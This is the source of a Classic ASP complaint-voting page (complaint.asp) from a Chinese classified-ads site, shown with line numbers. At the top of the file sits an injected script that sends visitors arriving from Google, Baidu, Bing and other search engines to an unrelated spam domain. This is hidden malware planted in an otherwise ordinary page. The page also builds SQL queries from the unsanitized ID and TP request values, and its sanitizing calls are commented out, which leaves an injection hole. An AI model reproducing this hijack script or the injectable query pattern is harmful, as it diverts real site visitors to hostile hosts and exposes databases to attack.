d:\wwwroot\wuchunhua\complaint.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="inc/Conn.asp"-->
002:
<html>
003:
<head>
004:
<title>查看举报</title>
005:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
006:
<meta name="keywords" content="eerduosi.net">
007:
<meta name="description" content="eerduosi.net">
008:
<link href="inc/Style.Css" rel="stylesheet" type="text/css">
009:
</head>
010:
<body style="margin:5">
011:
<%
sub cl()
%
>
012:
<body onLoad="setTimeout(window.close, 2000)">
013:
<%
end sub
%
>
014:
<%
015:
Dim ID,TP,Vote,ClassID,TPJG,Num,i,userip
016:
userip=Request.ServerVariables("REMOTE_ADDR")
017:
'ID = CheckStr(Request("ID"),1)
018:
ID = Request("ID")
019:
If ID = "" Then Call ErrView("操作错误<meta http-equiv=refresh content='1;URL=Index.asp'>",0)
020:
'TP = CheckStr(Request("TP"),1)
021:
TP = Request("TP")
022:
if TP<>"" then
023:
if request.Cookies("isballot")=ID then
024:
Response.Write "<script language='javascript'>alert('您已经投诉过了!');</script>"
025:
response.write "<meta http-equiv=refresh content=""1;URL=complaint.asp?ID="&ID&""">"
026:
response.end
027:
end if
028:
end if
029:
response.Cookies("isballot")=ID '设置该机已投诉
030:
'respoonse.Cookies("isballot").Expires="投诉截止日"
031:
Set Rs = Conn.ExeCute("Select vote From kqiqi_info Where id="&ID&"")
032:
If Not Rs.Eof Then
033:
If Rs(0) <> "" Then
034:
Vote = Rs(0)
035:
Else
036:
Vote = "0,0,0,0,0,0"
037:
End If
038:
Vote = Split(Vote,",")
039:
Num = 0
040:
If TP <> "" Then
041:
For i=0 to UBound(Vote)
042:
If Int(i) = Int(TP) Then
043:
TPJG = TPJG & "," &Int(Vote(i))+1
044:
Num = Num + Int(Vote(i))+1
045:
Else
046:
TPJG = TPJG & "," &Vote(i)
047:
Num = Num + Int(Vote(i))
048:
End If
049:
Next
050:
TPJG = Right(TPJG,Len(TPJG)-1)
051:
Conn.ExeCute("Update kqiqi_info Set vote = '"&TPJG&"' Where id="&ID&"")
052:
Else
053:
For i=0 to UBound(Vote)
054:
TPJG = TPJG & "," &Vote(i)
055:
Num = Num + Int(Vote(i))
056:
Next
057:
TPJG = Right(TPJG,Len(TPJG)-1)
058:
End If
059:
%
>
060:
<table width="340" border="0" cellspacing="1" cellpadding="5" bgcolor="#fef9f5">
061:
<tr bgcolor="#fef9f5"><td align=center colspan=2>感谢您的监督，总投诉：<font color=red><strong>
<%
=Num
%
></strong></font> 次</td></tr>
062:
<tr bgcolor="#FFFFFF"><td width="120">重复信息 (<font color=red>
<%
=Split(TPJG,",")(0)
%
></font>)</td><td width="220">
<%
=GetImg(TPJG,0,Num)
%
></td></tr>
063:
<tr bgcolor="#FFFFFF"><td>垃圾信息 (<font color=red>
<%
=Split(TPJG,",")(1)
%
></font>)</td><td>
<%
=GetImg(TPJG,1,Num)
%
></td></tr>
064:
<tr bgcolor="#FFFFFF"><td>虚假信息 (<font color=red>
<%
=Split(TPJG,",")(2)
%
></font>)</td><td>
<%
=GetImg(TPJG,2,Num)
%
></td></tr>
065:
<tr bgcolor="#FFFFFF"><td>中介信息 (<font color=red>
<%
=Split(TPJG,",")(3)
%
></font>)</td><td>
<%
=GetImg(TPJG,3,Num)
%
></td></tr>
066:
<tr bgcolor="#FFFFFF"><td>信息过时 (<font color=red>
<%
=Split(TPJG,",")(4)
%
></font>)</td><td>
<%
=GetImg(TPJG,4,Num)
%
></td></tr>
067:
<tr bgcolor="#FFFFFF"><td>分类错误 (<font color=red>
<%
=Split(TPJG,",")(5)
%
></font>)</td><td>
<%
=GetImg(TPJG,5,Num)
%
></td></tr>
068:
</table>
069:
<%
070:
End If
071:
Rs.Close
072:
Set Rs = Nothing
073:
Function GetImg(Str,i,Num)
074:
Dim tStr,bStr
075:
If Str = "" or isnull(Str) or IsNumeric(Str)=False Then Exit Function
076:
If Num = 0 Then tStr = 0 Else tStr = Int(Split(Str,",")(i))/Int(Num)
077:
GetImg = "<img src=image/skin3.gif align=absmiddle height=10 width="&FormatNumber((tStr)*160,0)&"> "
078:
tStr = Formatpercent(tStr,0)
079:
If tStr = "%" Then tStr = "0%"
080:
GetImg = GetImg & tStr
081:
End Function
082:
083:
%
>
084:
</body>
085:
</html>
086:
087: